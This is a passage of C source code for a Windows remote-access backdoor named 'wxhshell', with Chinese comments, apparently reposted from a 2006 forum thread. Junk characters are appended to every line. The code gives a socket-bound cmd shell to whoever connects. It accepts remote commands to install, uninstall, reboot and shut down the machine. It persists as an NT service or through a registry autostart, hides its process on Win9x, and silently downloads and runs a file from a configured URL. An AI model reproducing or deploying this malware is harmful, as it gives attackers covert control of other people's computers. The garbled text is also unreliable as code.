  case '?': { "\afIYS I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J(,gLl  
    break; }`$({\^w  
  } M|z4Dy  
  // 安装 .0y .0=l  
  case 'i': { Y5IQhV.  
    if(Install()) Y-DHW/Z~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $*0XWrE  
    else kafj?F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tN;~.\TKg  
    break; [ dVRVm0N  
    } m<4tH5 };d  
  // 卸载 W6 *5e{  
  case 'r': { z{> )'A/  
    if(Uninstall()) <e8Ux#x/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =p!Hl#  
    else 5&U?\YNLa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $>l65)(E\  
    break; l=&Va+K  
    } QbAEW m  
  // 显示 wxhshell 所在路径 UD]RWN  
  case 'p': { );z/ @Q  
    char svExeFile[MAX_PATH]; 9@p+g`o  
    strcpy(svExeFile,"\n\r"); g7LS  
      strcat(svExeFile,ExeFile); 7tT L,Nxe  
        send(wsh,svExeFile,strlen(svExeFile),0); wAF#N1-k  
    break; VelX+|w  
    } l) )Cvre+  
  // 重启 R^4 j0L  
  case 'b': { ( v=Z$#l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |Tl2r,(+R  
    if(Boot(REBOOT)) 6x_D0j%^]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Ie={BpzbZ  
    else { TbR Ee;1  
    closesocket(wsh); 1,G f;mcQ  
    ExitThread(0); FVH R  
    } 6$$ku  
    break; a*@4W3;7  
    } /{X2:g{  
  // 关机 ~c GH+M@  
  case 'd': { pXxpEv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9d,2d5Y  
    if(Boot(SHUTDOWN)) ?m.Ry  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xu5^ly8p9q  
    else { ]M9r<x*  
    closesocket(wsh); ZEU/6.  
    ExitThread(0); ^5gB?V,  
    } |f&=9%  
    break; {B6tGLt#bf  
    } `OyYo^+D|.  
  // 获取shell Rwz (20n\^  
  case 's': { ApAHa]Ccp  
    CmdShell(wsh); (=i+{ 3`|  
    closesocket(wsh); DKf:0E8  
    ExitThread(0); _Nq7_iT0  
    break; >_?Waz %  
  } Rlf#)4  
  // 退出 :E9@9>3S  
  case 'x': { {BJn9B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); > 1&_-  
    CloseIt(wsh); Y]t)k9|vv  
    break; . !;K5U  
    } !"x&tF  
  // 离开 Gl>_C@n0h  
  case 'q': { 8(A+"H(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y]ZujfW7  
    closesocket(wsh); .EoLJHL }  
    WSACleanup(); 8klu*  
    exit(1); )y}W=Q>T  
    break; 4~/3MG  
        } T]Eg9Y:+v  
  } )[hQK_e]  
  } Vnq&lz%QqC  
;7 Y4 v`m  
  // 提示信息 VpkkiN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y\"Kur*O  
} G+xdh  
  } )`.' QW  
=XT}&D6  
  return; "V/6 nuCo  
} j5>3Td.  
v= I 'rx  
// shell模块句柄 >w"k:O17  
int CmdShell(SOCKET sock) xT$9M"  
{ ^8yhx-mgb  
STARTUPINFO si; 9Iod[ x  
ZeroMemory(&si,sizeof(si)); ]1 OZY@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r|tTDKGQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S2 0L@e"U  
PROCESS_INFORMATION ProcessInfo; @eGJ_ J  
char cmdline[]="cmd"; 2U;ImC1g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S @'fmjA'  
  return 0; &qP&=( $  
} IZkQmA=  
^/kn#1H7&  
// 自身启动模式 qj5V<c;h%W  
int StartFromService(void) jQs"8[=s  
{ 8E| Nf  
typedef struct )!&7XL[  
{ m:7$"oq|  
  DWORD ExitStatus; HsGyNkr?r  
  DWORD PebBaseAddress; g0D(:_QXp:  
  DWORD AffinityMask; ,!s;o6|*y  
  DWORD BasePriority; \We\*7^E  
  ULONG UniqueProcessId; 8 3wa{m:  
  ULONG InheritedFromUniqueProcessId; sSMcF[]@2I  
}   PROCESS_BASIC_INFORMATION; }QL 2#R  
8&"@6/)[  
PROCNTQSIP NtQueryInformationProcess; WU -_Y^  
75LIQ!G|=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /i#~#Bn|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _8CE|<Cn  
m*MfGj(  
  HANDLE             hProcess; / b_C9'S  
  PROCESS_BASIC_INFORMATION pbi; (hn@+hc  
E$'Zd,|f=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Sb&[V>!2^  
  if(NULL == hInst ) return 0; #;32(II  
o7*z@R"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]HK|xO(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zMkjdjb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H7KcPN(0  
BQcrF{q  
  if (!NtQueryInformationProcess) return 0; n%>c4*t  
(gv1f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A@X&d y  
  if(!hProcess) return 0; ^$7Lmd.qI  
~EVD NnHEr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a;Q.R  
q.l" Y#d  
  CloseHandle(hProcess); 6mnj!p]3  
z;_fO>u:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D,rF?t>=S  
if(hProcess==NULL) return 0; w34&m  
^nYS @  
HMODULE hMod; ",c(cYVW  
char procName[255]; cboue LEt  
unsigned long cbNeeded; w>:~Ev]  
]e'Ol$3U9=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "?Eh_Dw  
s\6kXR  
  CloseHandle(hProcess); yk4Huq&2  
d+_wN2  
if(strstr(procName,"services")) return 1; // 以服务启动 8v},&rhPQq  
\o-Q9V  
  return 0; // 注册表启动 1Y"[Qs]"mU  
} v(T;Y=&  
Y7yh0r_  
// 主模块 4Lo8Eue  
int StartWxhshell(LPSTR lpCmdLine) {jX h/`  
{ gF@51K  
  SOCKET wsl; 8$:4~:]/  
BOOL val=TRUE; >g!a\=-[  
  int port=0; n1n1 }  
  struct sockaddr_in door; !4 4)=xW  
dc MWCK  
  if(wscfg.ws_autoins) Install(); #HD$=ECcw  
x:`]uOp  
port=atoi(lpCmdLine); sglYT!O  
5TqT`XTzm  
if(port<=0) port=wscfg.ws_port; xr uQ=Q  
tK3.HvD  
  WSADATA data; 4}FuoQL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NJG-~ w  
]wg+zOJu]+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E>tlY&0[$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e~C^*wL  
  door.sin_family = AF_INET; 9Z,vpTE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !\Y85o>JU  
  door.sin_port = htons(port); N:j"W,8  
rzH*|B0g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5eI3a!E]O  
closesocket(wsl); e7f3dqn0  
return 1; ^mLZT*   
} ;Ocih<4k  
N 4$!V}pp  
  if(listen(wsl,2) == INVALID_SOCKET) { }[P1Va[!  
closesocket(wsl); p$XL|1G*?H  
return 1;  7(;M  
} _L mDF8Q(  
  Wxhshell(wsl); X6jW mo8]  
  WSACleanup(); }yup`R  
?*I2?   
return 0; z116i?7EnV  
zkXG%I4h  
}  )_P|_(  
sgdxr!1?y  
// 以NT服务方式启动 uV r6tb1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .0l0*~[  
{ >t|u 8/P  
DWORD   status = 0; =.9L/74@  
  DWORD   specificError = 0xfffffff; Xqt3 p6  
g@!mV)c97  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PN ,pEk|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; acgtXfHR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y27x;U  
  serviceStatus.dwWin32ExitCode     = 0; {AbQaw  
  serviceStatus.dwServiceSpecificExitCode = 0; S}Wj+H;  
  serviceStatus.dwCheckPoint       = 0; qJ=4HlLno  
  serviceStatus.dwWaitHint       = 0; :-B,Q3d  
zY\pZG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1ID0'j$  
  if (hServiceStatusHandle==0) return; 7mipj]  
X\tE#c&K  
status = GetLastError(); v\>!J?  
  if (status!=NO_ERROR) UPs*{m  
{ ?{W@TY@S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 29DYL  
    serviceStatus.dwCheckPoint       = 0; gF( aYuk  
    serviceStatus.dwWaitHint       = 0; 8A{n9>jrb  
    serviceStatus.dwWin32ExitCode     = status; .CI { g2  
    serviceStatus.dwServiceSpecificExitCode = specificError; q@K;u[zFK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rPoPs@CBD  
    return; vd Fy}#X  
  } *NdSL  
`y5?lS*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8RJXY:%  
  serviceStatus.dwCheckPoint       = 0; 1 "'t5?XW  
  serviceStatus.dwWaitHint       = 0; t|Cp<k]B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uGIA4CUm  
} 1!,xB]v1Ri  
3.M<ATe^  
// 处理NT服务事件,比如:启动、停止 P?GHcq$\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {&,9Zy]"S  
{ m6J7)Wp  
switch(fdwControl) 7%C6hEP/*W  
{ <aJdm!6  
case SERVICE_CONTROL_STOP: 5z8CUDt 0  
  serviceStatus.dwWin32ExitCode = 0; n?vw|'(}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }eUeADbC  
  serviceStatus.dwCheckPoint   = 0; /t=R~BJu  
  serviceStatus.dwWaitHint     = 0; X~ n=U4s}O  
  { $]IX11.m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4.|-?qG  
  } QXZjsa_|  
  return; s`W\`w}  
case SERVICE_CONTROL_PAUSE: 7`;55Se  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~kUdHne (  
  break; XXsN)2  
case SERVICE_CONTROL_CONTINUE: *-~B{2b<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aIV(&7KT4  
  break; tZlz0BY!  
case SERVICE_CONTROL_INTERROGATE: *RugVH4  
  break; M)td%<_  
}; T|o[! @:,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +b_g,RNs!  
} x<#Z3Kla  
Q2sX7 cE  
// 标准应用程序主函数 qL kna  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [ t@  
{ ~^*IP1.3  
>Q&E4jC  
// 获取操作系统版本 \ .H X7v  
OsIsNt=GetOsVer(); <}S1ZEZcQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); / /63?s+  
1:]iV}OFqR  
  // 从命令行安装 g_?:G$1H  
  if(strpbrk(lpCmdLine,"iI")) Install(); @+LkGrDP  
>[TB8  
  // 下载执行文件 ("(:wYR%  
if(wscfg.ws_downexe) {  B9IqX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~B0L7}d  
  WinExec(wscfg.ws_filenam,SW_HIDE); iXN"M` nhm  
} Lc ,te1  
S-{3'D[Nj  
if(!OsIsNt) { F3*]3,&L  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q+(}nz4  
HideProc(); 8&FnXhZg4  
StartWxhshell(lpCmdLine); ssVO+ T  
} Qhlgu!  
else ,L ;ueAo  
  if(StartFromService()) 'V";"Ei  
  // 以服务方式启动 fpbb <Ro  
  StartServiceCtrlDispatcher(DispatchTable); '"C$E922  
else xE(VyyR  
  // 普通方式启动 q{/>hvl  
  StartWxhshell(lpCmdLine); '^f,H1oW  
?o'!(3`L  
return 0; n_5m+ 1N  
}
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只看该作者 1 发表于: 2006-10-10
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